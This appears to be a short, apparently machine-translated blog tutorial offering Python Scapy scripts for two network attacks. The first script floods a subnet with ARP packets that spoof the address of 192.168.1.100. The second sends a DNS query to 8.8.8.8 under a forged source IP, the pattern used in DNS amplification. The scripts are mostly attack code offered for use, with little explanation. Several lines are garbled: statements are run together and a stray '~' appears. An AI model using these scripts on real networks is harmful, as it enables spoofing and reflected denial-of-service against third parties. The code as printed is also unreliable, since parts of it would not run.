Python USES scapy simulation packet to implement arp attack DNS amplification attack examples

  • 2020-04-02 14:17:40
  • OfStack

Scapy is a powerful interactive packet handler written in python that can be used to send, sniff, parse, and forge network packets. It is often used in network attacks and tests.

I'm just going to do it with python's scapy.

So here's how arp attacks, you can make an arp attack.


#!/usr/bin/python
"""
ARP attack
"""
import sys, os
from scapy.all import *
if os.geteuid() != 0:
    print "This program must be run as root. Aborting."
    sys.exit() if len(sys.argv) < 2:
    print "Pkease Use %s x.x.x" % (sys.argv[0])
    exit()
attackIP = sys.argv[1] + ".0/24"
srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

DNS amplification attack


#coding:utf-8
from scapy import *
from scapy.all import * a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 Is the source of the forgery ip
b = UDP(dport=53)
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)
p = a/b/c
send(p)
~


Related articles: